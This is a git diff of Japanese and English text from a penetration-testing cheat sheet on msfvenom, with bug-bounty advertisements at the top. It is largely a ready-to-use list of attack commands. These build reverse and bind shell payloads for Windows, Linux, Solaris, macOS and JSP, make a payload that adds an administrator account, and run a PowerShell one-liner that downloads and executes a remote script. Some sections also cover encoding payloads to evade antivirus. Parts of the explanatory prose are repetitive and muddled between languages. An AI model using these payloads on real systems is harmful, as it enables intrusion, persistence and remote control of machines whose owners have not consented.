@ -872,12 +910,12 @@ Wi-Fi Directは、デバイスを安全に接続するためにWi-Fi Protected S
|
|||
|
||||
TODO: [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher)を確認する(FacebookでのログインとキャプティブポータルでのWPAの模倣)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
**HackenProofはすべての暗号バグ報奨金の場です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
HackenProofの報奨金は、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
@ -885,7 +923,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
[**HackenProofにサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
|
@ -20,7 +20,7 @@
|
|||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のWeb3セキュリティをマスターしましょう。
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
@ -29,7 +29,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後にの
|
|||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
---
|
||||
***
|
||||
|
||||
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
|
||||
|
||||
|
@ -72,11 +72,11 @@ PrependSetuid=True #Use this to create a shellcode that will execute something w
|
|||
```
|
||||
### **リバースシェル**
|
||||
|
||||
リバースシェルは、ターゲットのWindowsマシンに接続するための便利な方法です。以下の手順に従って、リバースシェルを作成しましょう。
|
||||
リバースシェルは、ターゲットのWindowsマシンに接続するための一般的な方法です。以下の手順に従って、リバースシェルを作成しましょう。
|
||||
|
||||
1. Metasploitフレームワークを使用して、リバースシェルペイロードを生成します。次のコマンドを実行します。
|
||||
|
||||
```
|
||||
```plaintext
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f exe > shell.exe
|
||||
```
|
||||
|
||||
|
@ -86,7 +86,7 @@ msfvenom -p windows/shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port>
|
|||
|
||||
4. Metasploitフレームワークを使用して、リバースシェルに接続します。次のコマンドを実行します。
|
||||
|
||||
```
|
||||
```plaintext
|
||||
msfconsole
|
||||
use exploit/multi/handler
|
||||
set payload windows/shell_reverse_tcp
|
||||
|
@ -97,63 +97,61 @@ exploit
|
|||
|
||||
5. 上記のコマンドを実行すると、攻撃者のマシンがリバースシェルに接続し、ターゲットマシンを制御できるようになります。
|
||||
|
||||
以上で、Windowsマシンへのリバースシェルの作成が完了しました。
|
||||
これで、Windowsマシンに対してリバースシェルを作成する方法がわかりました。この手法を使用して、ターゲットマシンをハッキングすることができます。ただし、合法的な目的のためにのみ使用してください。
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
|
||||
```
|
||||
A bind shell is a type of shell that listens for incoming connections on a specific port. Once a connection is established, the bind shell provides a command prompt interface to interact with the target system. This allows an attacker to gain remote access and control over the compromised system.
|
||||
### バインドシェル
|
||||
|
||||
To create a bind shell payload using msfvenom, you can use the following command:
|
||||
バインドシェルは、攻撃者がターゲットマシンに接続し、リモートでコマンドを実行するための方法です。バインドシェルを使用すると、攻撃者はターゲットマシンの制御を取得し、様々な操作を行うことができます。
|
||||
|
||||
```
|
||||
msfvenom -p <payload> LHOST=<attacker IP> LPORT=<port> -f <format> -o <output file>
|
||||
バインドシェルを作成するために、私たちは`msfvenom`ツールを使用します。`msfvenom`は、Metasploitフレームワークの一部であり、様々なペイロードを生成するために使用されます。
|
||||
|
||||
以下のコマンドを使用して、バインドシェルのペイロードを生成します。
|
||||
|
||||
```plaintext
|
||||
msfvenom -p <payload> LHOST=<attacker IP> LPORT=<attacker port> -f <format> -o <output file>
|
||||
```
|
||||
|
||||
- `<payload>`: The payload to use, such as `windows/meterpreter/reverse_tcp` or `linux/x86/shell/bind_tcp`.
|
||||
- `<attacker IP>`: The IP address of the attacker machine.
|
||||
- `<port>`: The port number to listen on.
|
||||
- `<format>`: The output format, such as `exe`, `elf`, or `raw`.
|
||||
- `<output file>`: The file to save the generated payload.
|
||||
- `<payload>`: 使用するペイロードの種類を指定します。
|
||||
- `<attacker IP>`: 攻撃者のIPアドレスを指定します。
|
||||
- `<attacker port>`: 攻撃者が接続するポート番号を指定します。
|
||||
- `<format>`: ペイロードの出力形式を指定します。
|
||||
- `<output file>`: 生成されたペイロードを保存するファイルのパスを指定します。
|
||||
|
||||
For example, to create a bind shell payload for a Windows system, listening on port 4444, and save it as an executable file named `shell.exe`, you can use the following command:
|
||||
例えば、以下のコマンドを使用して、Linuxシステム向けのバインドシェルを生成します。
|
||||
|
||||
```
|
||||
msfvenom -p windows/meterpreter/bind_tcp LHOST=<attacker IP> LPORT=4444 -f exe -o shell.exe
|
||||
```plaintext
|
||||
msfvenom -p linux/x86/shell_bind_tcp LHOST=192.168.0.100 LPORT=4444 -f elf -o shell.elf
|
||||
```
|
||||
|
||||
Remember to replace `<attacker IP>` with your actual IP address.
|
||||
このコマンドは、`linux/x86/shell_bind_tcp`ペイロードを使用し、攻撃者のIPアドレスが`192.168.0.100`であり、ポート番号が`4444`であるバインドシェルを生成します。出力形式は`elf`であり、生成されたペイロードは`shell.elf`という名前のファイルに保存されます。
|
||||
|
||||
Once the payload is generated, you can transfer it to the target system and execute it. Once the bind shell is established, you can use a compatible listener, such as Metasploit's `multi/handler`, to connect to the target system and gain remote access.
|
||||
バインドシェルを作成した後は、攻撃者は生成されたペイロードをターゲットマシンにデプロイし、接続を確立することができます。これにより、攻撃者はターゲットマシン上でコマンドを実行し、システムにアクセスすることができます。
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
|
||||
```
|
||||
### ユーザーの作成
|
||||
|
||||
To create a user, you can use the `msfvenom` tool provided by Metasploit. `msfvenom` allows you to generate various types of payloads, including shellcode, which can be used to create a user on a target system.
|
||||
To create a user, you can use the `msfvenom` tool provided by Metasploit. This tool allows you to generate various types of payloads, including shellcode that can be used to create a user on a target system.
|
||||
|
||||
ユーザーを作成するには、Metasploitが提供する`msfvenom`ツールを使用することができます。`msfvenom`を使用すると、シェルコードを含むさまざまなタイプのペイロードを生成することができます。これを使用して、ターゲットシステム上にユーザーを作成することができます。
|
||||
To create a user, you need to specify the payload type, the desired username, and the password for the new user. Here is an example command:
|
||||
|
||||
The following command can be used to generate a payload that creates a user with the username "hacker" and password "password123":
|
||||
|
||||
以下のコマンドを使用して、ユーザー名が「hacker」でパスワードが「password123」のユーザーを作成するペイロードを生成することができます。
|
||||
|
||||
```plaintext
|
||||
msfvenom -p windows/adduser USER=hacker PASS=password123 -f exe > adduser.exe
|
||||
```
|
||||
msfvenom -p windows/adduser USER=username PASS=password -f exe > adduser.exe
|
||||
```
|
||||
|
||||
This command generates an executable file named "adduser.exe" that, when executed on the target system, will create a user with the specified username and password.
|
||||
In this command, replace `username` with the desired username and `password` with the desired password. The `-f` option specifies the output format, in this case, an executable file (`exe`). The output is redirected to a file named `adduser.exe`.
|
||||
|
||||
このコマンドは、「adduser.exe」という名前の実行可能ファイルを生成します。このファイルは、ターゲットシステムで実行されると、指定したユーザー名とパスワードでユーザーを作成します。
|
||||
Once you have generated the payload, you can deliver it to the target system using various methods, such as social engineering or exploiting vulnerabilities. Once executed on the target system, the payload will create a new user with the specified username and password.
|
||||
|
||||
You can then deliver this payload to the target system using various methods, such as social engineering or exploiting vulnerabilities.
|
||||
|
||||
その後、ソーシャルエンジニアリングや脆弱性の悪用など、さまざまな方法を使用して、このペイロードをターゲットシステムに送信することができます。
|
||||
It is important to note that creating a user on a target system without proper authorization is illegal and unethical. This information is provided for educational purposes only. Always ensure you have the necessary permissions and legal authorization before performing any actions on a target system.
|
||||
```bash
|
||||
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
|
||||
```
|
||||
### CMDシェル
|
||||
|
||||
The CMD shell is a command-line interpreter for Windows operating systems. It provides a way to interact with the operating system by executing commands and scripts. The CMD shell is commonly used by system administrators and power users for various tasks, such as managing files and directories, running programs, and configuring system settings.
|
||||
The CMD shell is a command-line interpreter for Windows operating systems. It provides a way to interact with the operating system by executing commands and scripts. The CMD shell is commonly used by system administrators and power users for various tasks, including managing files and directories, running programs, and configuring system settings.
|
||||
|
||||
#### Creating a CMD Shell Payload with msfvenom
|
||||
|
||||
|
@ -165,17 +163,17 @@ msfvenom -p windows/shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port>
|
|||
|
||||
Replace `<attacker IP>` with your IP address and `<attacker port>` with the port number you want to use for the reverse shell connection.
|
||||
|
||||
This command will generate a Windows executable file named `shell.exe` that, when executed on the target system, will establish a reverse TCP connection to your machine.
|
||||
This command will generate an executable file named `shell.exe` that, when executed on the target system, will establish a reverse TCP connection to your machine.
|
||||
|
||||
#### Executing the CMD Shell Payload
|
||||
|
||||
To execute the CMD shell payload on the target system, you can use various methods, such as social engineering, exploiting vulnerabilities, or using a post-exploitation framework like Metasploit.
|
||||
|
||||
Once the payload is executed on the target system, it will establish a reverse TCP connection to your machine. You can then interact with the CMD shell on the target system through your listener.
|
||||
Once the payload is executed, it will establish a reverse TCP connection to your machine, allowing you to interact with the target system's CMD shell remotely.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
The CMD shell is a powerful tool for interacting with Windows operating systems. By creating and executing CMD shell payloads, you can gain remote access to target systems and perform various tasks for penetration testing or other purposes.
|
||||
The CMD shell is a powerful tool for interacting with Windows operating systems. By creating and executing CMD shell payloads, you can gain remote access to target systems and perform various tasks for penetration testing or other legitimate purposes.
|
||||
```bash
|
||||
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
|
||||
```
|
||||
|
@ -183,19 +181,17 @@ msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f ex
|
|||
|
||||
The `msfvenom` tool can be used to generate payloads that can execute arbitrary commands on the target system. This can be useful for various purposes, such as gaining remote access or performing post-exploitation activities.
|
||||
|
||||
`msfvenom` provides the `exec` payload option, which allows you to specify a command to be executed on the target system. The generated payload can then be delivered to the target using various methods, such as email attachments, malicious downloads, or social engineering techniques.
|
||||
|
||||
To generate a payload that executes a command, you can use the following command:
|
||||
|
||||
```
|
||||
msfvenom -p cmd/unix/reverse <options>
|
||||
msfvenom -p cmd/unix/reverse_netcat LHOST=<attacker IP> LPORT=<attacker port> -f <format> -o <output file>
|
||||
```
|
||||
|
||||
Replace `<options>` with the appropriate options for your specific scenario. For example, you can specify the IP address and port of your listener using the `LHOST` and `LPORT` options.
|
||||
Replace `<attacker IP>` with the IP address of the machine running the listener, and `<attacker port>` with the port number on which the listener is running. `<format>` should be replaced with the desired output format, such as `elf`, `exe`, or `raw`. `<output file>` should be replaced with the name of the file where the payload will be saved.
|
||||
|
||||
Once the payload is generated, you can deliver it to the target and execute the command by establishing a connection to your listener. This can be done using tools like `netcat` or `meterpreter`.
|
||||
Once the payload is generated, it can be delivered to the target system using various methods, such as social engineering or exploiting vulnerabilities. When the payload is executed on the target system, it will establish a reverse connection to the attacker's machine and allow the execution of arbitrary commands.
|
||||
|
||||
Keep in mind that executing arbitrary commands on a target system without proper authorization is illegal and unethical. Always ensure that you have the necessary permissions and legal authorization before performing any actions that may compromise the security of a system.
|
||||
It is important to note that the success of executing commands on the target system depends on various factors, such as the target's security measures and the privileges of the user executing the payload. Additionally, the payload should be crafted carefully to avoid detection by antivirus software or intrusion detection systems.
|
||||
```bash
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
|
||||
|
@ -232,98 +228,145 @@ Once the payload is embedded into the executable file, it can be executed on the
|
|||
```bash
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
|
||||
```
|
||||
The reverse shell payload is a commonly used technique in penetration testing. It allows an attacker to establish a connection from the target machine to their own machine, giving them remote access and control over the target.
|
||||
### リバースシェル
|
||||
|
||||
To create a reverse shell payload using `msfvenom`, you can use the following command:
|
||||
リバースシェルは、ターゲットマシンからハッカーのマシンに接続するための一般的な方法です。ハッカーは、リバースシェルを使用して、ターゲットマシンに対してコマンドを実行したり、ファイルを転送したりすることができます。
|
||||
|
||||
リバースシェルを作成するために、`msfvenom`ツールを使用します。以下のコマンドを使用して、リバースシェルペイロードを作成します。
|
||||
|
||||
```bash
|
||||
msfvenom -p <payload> LHOST=<attacker IP> LPORT=<attacker port> -f <format> -o <output file>
|
||||
```
|
||||
|
||||
- `<payload>`: The payload to use. This can be any compatible payload, such as `linux/x86/shell_reverse_tcp`.
|
||||
- `<attacker IP>`: The IP address of the attacker's machine.
|
||||
- `<attacker port>`: The port on the attacker's machine to listen on.
|
||||
- `<format>`: The output format for the payload. This can be `elf`, `raw`, `exe`, `psh`, `asp`, `jsp`, `war`, `pl`, `py`, `rb`, `dll`, `so`, `osx`, `macho`, `elf`, `deb`, `rpm`, `jar`, `msi`, `hta`, `vba`, `vbs`, `hta-psh`, `asp-psh`, `jsp-psh`, `war-psh`, `pl-psh`, `py-psh`, `rb-psh`, `dll-psh`, `so-psh`, `osx-psh`, `macho-psh`, `elf-psh`, `deb-psh`, `rpm-psh`, `jar-psh`, `msi-psh`, `hta-psh-net`, `asp-psh-net`, `jsp-psh-net`, `war-psh-net`, `pl-psh-net`, `py-psh-net`, `rb-psh-net`, `dll-psh-net`, `so-psh-net`, `osx-psh-net`, `macho-psh-net`, `elf-psh-net`, `deb-psh-net`, `rpm-psh-net`, `jar-psh-net`, or `msi-psh-net`.
|
||||
- `<output file>`: The file to save the payload to.
|
||||
- `<payload>`: 使用するペイロードの種類を指定します。
|
||||
- `<attacker IP>`: ハッカーのマシンのIPアドレスを指定します。
|
||||
- `<attacker port>`: ハッカーのマシンで使用するポート番号を指定します。
|
||||
- `<format>`: 出力ファイルの形式を指定します。
|
||||
- `<output file>`: 出力ファイルの名前とパスを指定します。
|
||||
|
||||
For example, to create a reverse shell payload using the `linux/x86/shell_reverse_tcp` payload, with the attacker's IP address set to `192.168.0.100` and the port set to `4444`, and save it as `reverse_shell.elf`, you would use the following command:
|
||||
例えば、以下のコマンドは、`bash`シェルを使用してリバースシェルペイロードを作成します。
|
||||
|
||||
```bash
|
||||
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f elf -o reverse_shell.elf
|
||||
```
|
||||
|
||||
Once the payload is created, you can transfer it to the target machine and execute it to establish a reverse shell connection.
|
||||
このコマンドは、`linux/x86/shell_reverse_tcp`ペイロードを使用して、ハッカーのマシンのIPアドレスが`192.168.0.100`で、ポート番号が`4444`であるリバースシェルペイロードを作成します。出力ファイルの形式は`elf`であり、`reverse_shell.elf`という名前のファイルに保存されます。
|
||||
|
||||
ハッカーは、作成されたリバースシェルペイロードをターゲットマシンに送信し、接続を確立することができます。
|
||||
```bash
|
||||
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
|
||||
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
|
||||
```
|
||||
A bind shell is a type of shell that listens for incoming connections on a specific port. Once a connection is established, the bind shell provides a command prompt interface to interact with the target system. This allows an attacker to gain remote access and control over the compromised system.
|
||||
### バインドシェル
|
||||
|
||||
To create a bind shell payload using msfvenom, you can use the following command:
|
||||
バインドシェルは、攻撃者がターゲットマシンに接続し、リモートでコマンドを実行するための方法です。バインドシェルを使用すると、攻撃者はターゲットマシンの制御を取得し、様々な操作を行うことができます。
|
||||
|
||||
```
|
||||
msfvenom -p <payload> LHOST=<attacker IP> LPORT=<port> -f <format> -o <output file>
|
||||
バインドシェルを作成するために、私たちは`msfvenom`ツールを使用します。`msfvenom`は、Metasploitフレームワークの一部であり、様々なペイロードを生成するために使用されます。
|
||||
|
||||
以下のコマンドを使用して、バインドシェルのペイロードを生成します。
|
||||
|
||||
```plaintext
|
||||
msfvenom -p <payload> LHOST=<attacker IP> LPORT=<attacker port> -f <format> -o <output file>
|
||||
```
|
||||
|
||||
- `<payload>`: The payload to use, such as `windows/meterpreter/reverse_tcp` or `linux/x86/shell/bind_tcp`.
|
||||
- `<attacker IP>`: The IP address of the attacker machine.
|
||||
- `<port>`: The port number to listen on.
|
||||
- `<format>`: The output format, such as `exe`, `elf`, or `raw`.
|
||||
- `<output file>`: The file to save the generated payload.
|
||||
- `<payload>`: 使用するペイロードの種類を指定します。
|
||||
- `<attacker IP>`: 攻撃者のIPアドレスを指定します。
|
||||
- `<attacker port>`: 攻撃者が接続するポート番号を指定します。
|
||||
- `<format>`: ペイロードの出力形式を指定します。
|
||||
- `<output file>`: 生成されたペイロードを保存するファイルのパスを指定します。
|
||||
|
||||
For example, to create a bind shell payload for a Windows system, listening on port 4444, and save it as an executable file named `shell.exe`, you can use the following command:
|
||||
例えば、以下のコマンドを使用して、Linuxシステム向けのバインドシェルを生成します。
|
||||
|
||||
```
|
||||
msfvenom -p windows/meterpreter/bind_tcp LHOST=<attacker IP> LPORT=4444 -f exe -o shell.exe
|
||||
```plaintext
|
||||
msfvenom -p linux/x86/shell_bind_tcp LHOST=192.168.0.100 LPORT=4444 -f elf -o shell.elf
|
||||
```
|
||||
|
||||
Remember to replace `<attacker IP>` with your actual IP address.
|
||||
このコマンドは、`linux/x86/shell_bind_tcp`ペイロードを使用し、攻撃者のIPアドレスが`192.168.0.100`であり、ポート番号が`4444`であるバインドシェルを生成します。出力形式は`elf`であり、生成されたペイロードは`shell.elf`という名前のファイルに保存されます。
|
||||
|
||||
Once the payload is generated, you can transfer it to the target system and execute it. Once the bind shell is established, you can use a compatible listener, such as Metasploit's `multi/handler`, to connect to the target system and gain remote access.
|
||||
バインドシェルを作成した後は、攻撃者は生成されたペイロードをターゲットマシンにデプロイし、接続を確立することができます。これにより、攻撃者はターゲットマシン上でコマンドを実行し、システムにアクセスすることができます。
|
||||
```bash
|
||||
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
|
||||
```
|
||||
### SunOS(Solaris)
|
||||
|
||||
SunOS(Solaris)は、Sun Microsystemsによって開発された商用UNIXオペレーティングシステムです。SunOSは、高い信頼性とスケーラビリティを備えたシステムであり、特に企業環境で広く使用されています。
|
||||
SunOS(Solaris)は、Sun Microsystemsによって開発された商用のUNIXオペレーティングシステムです。SunOSは、高い信頼性とスケーラビリティを備えたサーバー向けのオペレーティングシステムとして広く使用されています。
|
||||
|
||||
### Metasploit Frameworkとmsfvenom
|
||||
#### ペイロードの生成
|
||||
|
||||
Metasploit Frameworkは、セキュリティテストやペネトレーションテストに使用されるオープンソースのフレームワークです。msfvenomは、Metasploit Frameworkの一部であり、ペイロードの生成とエクスプロイトの作成に使用されます。
|
||||
msfvenomコマンドを使用して、SunOS(Solaris)向けのペイロードを生成することができます。以下のコマンドを使用して、指定したアーキテクチャとフォーマットに基づいたペイロードを生成します。
|
||||
|
||||
### msfvenomの概要
|
||||
|
||||
msfvenomは、Metasploit Frameworkのコマンドラインツールであり、様々なプラットフォームで動作するペイロードを生成するために使用されます。ペイロードは、悪意のあるコードやコマンドを含むバイナリファイルです。
|
||||
|
||||
msfvenomを使用すると、様々なエクスプロイトシナリオに対応したペイロードを生成することができます。また、生成されたペイロードは、特定のプラットフォームやアーキテクチャに最適化されています。
|
||||
|
||||
### msfvenomの使用方法
|
||||
|
||||
msfvenomコマンドを使用するには、以下のような構文を使用します。
|
||||
|
||||
```
|
||||
msfvenom -p <payload> [options]
|
||||
```plaintext
|
||||
msfvenom -p <payload> -f <format> -a <architecture> -o <output>
|
||||
```
|
||||
|
||||
ここで、`<payload>`は生成するペイロードの種類を指定します。オプションは、生成するペイロードの設定やパラメータを指定するために使用されます。
|
||||
- `<payload>`: 使用するペイロードの種類を指定します。
|
||||
- `<format>`: 生成するペイロードのフォーマットを指定します。
|
||||
- `<architecture>`: ターゲットのアーキテクチャを指定します。
|
||||
- `<output>`: 生成されたペイロードの出力先ファイルを指定します。
|
||||
|
||||
msfvenomは、様々なプラットフォームやアーキテクチャに対応しており、生成するペイロードの種類も豊富です。また、生成されたペイロードは、実行可能なファイルやスクリプト、バイナリデータなどの形式で保存することができます。
|
||||
#### ペイロードの実行
|
||||
|
||||
### msfvenomの例
|
||||
生成されたペイロードをターゲットマシンで実行するには、以下の手順に従います。
|
||||
|
||||
以下は、msfvenomを使用してWindowsプラットフォーム向けのペイロードを生成する例です。
|
||||
1. ペイロードをターゲットマシンに転送します。
|
||||
2. ペイロードを実行するための適切な方法を選択します。これには、リモートシェル、リバースシェル、またはメモリ内実行などの方法があります。
|
||||
3. ペイロードを実行し、ターゲットマシンにアクセスします。
|
||||
|
||||
```
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f exe > payload.exe
|
||||
```
|
||||
#### ペイロードのエクスプロイト
|
||||
|
||||
この例では、`windows/meterpreter/reverse_tcp`というペイロードを生成しています。`LHOST`と`LPORT`は、攻撃者のIPアドレスとポート番号を指定するためのオプションです。生成されたペイロードは、`payload.exe`という名前の実行可能ファイルとして保存されます。
|
||||
ペイロードを使用してエクスプロイトを実行するには、以下の手順に従います。
|
||||
|
||||
### msfvenomの応用
|
||||
1. ターゲットマシンにペイロードを転送します。
|
||||
2. ペイロードを実行するための適切な方法を選択します。
|
||||
3. エクスプロイトを実行し、ターゲットマシンを侵害します。
|
||||
|
||||
msfvenomは、ペネトレーションテストやセキュリティテストにおいて、エクスプロイトの作成や脆弱性の検証に使用されます。生成されたペイロードは、悪意のある攻撃者がターゲットシステムに侵入するために使用されることがあります。
|
||||
#### ペイロードのカスタマイズ
|
||||
|
||||
msfvenomを使用する際には、法的な制約や倫理的な観点を考慮し、適切な許可を得ることが重要です。また、自身のシステムやネットワークに対してテストを行う場合には、十分な注意と専門知識が必要です。
|
||||
msfvenomコマンドを使用して生成されたペイロードは、必要に応じてカスタマイズすることができます。以下のオプションを使用して、ペイロードのプロパティを変更します。
|
||||
|
||||
- `-b <badchars>`: 使用しないバイトを指定します。
|
||||
- `-e <encoder>`: ペイロードをエンコードするエンコーダを指定します。
|
||||
- `-i <iterations>`: エンコーダの反復回数を指定します。
|
||||
- `-x <template>`: ペイロードをテンプレートファイルに埋め込みます。
|
||||
|
||||
#### ペイロードの検出回避
|
||||
|
||||
生成されたペイロードが検出されないようにするために、以下のテクニックを使用することができます。
|
||||
|
||||
- エンコーディング: ペイロードをエンコードしてシグネチャベースの検出を回避します。
|
||||
- アンチバイト: 使用しないバイトを指定して、検出を回避します。
|
||||
- メタスプロイトの使用: メタスプロイトフレームワークを使用して、ペイロードの検出回避をサポートします。
|
||||
|
||||
#### ペイロードのリバースシェル
|
||||
|
||||
リバースシェルは、ターゲットマシンから攻撃者のマシンに接続するためのシェルです。以下の手順に従って、リバースシェルを生成します。
|
||||
|
||||
1. 攻撃者のマシンでリスニングポートを設定します。
|
||||
2. msfvenomコマンドを使用して、リバースシェルペイロードを生成します。
|
||||
3. 生成されたペイロードをターゲットマシンに転送します。
|
||||
4. 攻撃者のマシンでリスニングを開始し、ターゲットマシンからの接続を待ちます。
|
||||
5. ターゲットマシンからの接続が確立されると、攻撃者はリバースシェルを使用してターゲットマシンにアクセスできます。
|
||||
|
||||
#### ペイロードのリモートシェル
|
||||
|
||||
リモートシェルは、攻撃者がターゲットマシンに接続するためのシェルです。以下の手順に従って、リモートシェルを生成します。
|
||||
|
||||
1. 攻撃者のマシンでリスニングポートを設定します。
|
||||
2. msfvenomコマンドを使用して、リモートシェルペイロードを生成します。
|
||||
3. 生成されたペイロードをターゲットマシンに転送します。
|
||||
4. 攻撃者のマシンでリスニングを開始し、ターゲットマシンからの接続を待ちます。
|
||||
5. ターゲットマシンからの接続が確立されると、攻撃者はリモートシェルを使用してターゲットマシンにアクセスできます。
|
||||
|
||||
#### ペイロードのメモリ内実行
|
||||
|
||||
メモリ内実行は、ペイロードをターゲットマシンのメモリ内で実行する方法です。以下の手順に従って、メモリ内実行ペイロードを生成します。
|
||||
|
||||
1. msfvenomコマンドを使用して、メモリ内実行ペイロードを生成します。
|
||||
2. 生成されたペイロードをターゲットマシンに転送します。
|
||||
3. ペイロードを実行するための適切な方法を選択します。
|
||||
4. ペイロードがターゲットマシンのメモリ内で実行されると、攻撃者はターゲットマシンにアクセスできます。
|
||||
|
||||
以上が、SunOS(Solaris)向けのペイロード生成と実行の基本的な手順です。これらの手法を使用して、ターゲットマシンにアクセスし、エクスプロイトを実行することができます。
|
||||
```bash
|
||||
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
|
||||
```
|
||||
|
@ -353,7 +396,9 @@ msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f ma
|
|||
```
|
||||
バインドシェルは、攻撃者がターゲットマシンに接続するためのシェルを作成する方法です。バインドシェルを使用すると、攻撃者はターゲットマシンに対してリモートでコマンドを実行できます。バインドシェルは、攻撃者がターゲットマシンにアクセスするためのバックドアとして機能します。
|
||||
|
||||
バインドシェルを作成するために、`msfvenom`コマンドを使用します。以下のコマンドは、バインドシェルを作成するための基本的な構文です。
|
||||
バインドシェルを作成するために、`msfvenom`コマンドを使用します。`msfvenom`は、Metasploitフレームワークの一部であり、様々な種類のペイロードを生成するために使用されます。
|
||||
|
||||
以下のコマンドは、`msfvenom`を使用してバインドシェルを作成する例です。
|
||||
|
||||
```plaintext
|
||||
msfvenom -p <payload> LHOST=<attacker IP> LPORT=<attacker port> -f <format> -o <output file>
|
||||
|
@ -363,15 +408,15 @@ msfvenom -p <payload> LHOST=<attacker IP> LPORT=<attacker port> -f <format> -o <
|
|||
- `<attacker IP>`: 攻撃者のIPアドレスを指定します。
|
||||
- `<attacker port>`: 攻撃者が接続するポート番号を指定します。
|
||||
- `<format>`: 出力ファイルの形式を指定します。
|
||||
- `<output file>`: 出力ファイルのパスと名前を指定します。
|
||||
- `<output file>`: 作成されるバインドシェルの出力先ファイルを指定します。
|
||||
|
||||
例えば、以下のコマンドは、Linuxシステム上で動作するバインドシェルを作成します。
|
||||
例えば、以下のコマンドは、`msfvenom`を使用してLinuxシステム向けのバインドシェルを作成し、出力ファイルとして`shell`という名前のファイルに保存します。
|
||||
|
||||
```plaintext
|
||||
msfvenom -p linux/x86/shell_bind_tcp LHOST=<attacker IP> LPORT=<attacker port> -f <format> -o <output file>
|
||||
msfvenom -p linux/x86/shell_bind_tcp LHOST=192.168.0.100 LPORT=4444 -f elf -o shell
|
||||
```
|
||||
|
||||
このコマンドを実行すると、指定した形式とファイル名でバインドシェルが作成されます。このバインドシェルをターゲットマシンにデプロイし、攻撃者は指定したIPアドレスとポート番号を使用して接続することができます。
|
||||
このコマンドを実行すると、攻撃者のIPアドレスが`192.168.0.100`であり、ポート番号が`4444`であるバインドシェルが作成されます。作成されたバインドシェルは、`shell`という名前のファイルに保存されます。
|
||||
```bash
|
||||
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
|
||||
```
|
||||
|
@ -419,21 +464,31 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port>
|
|||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
|
||||
```
|
||||
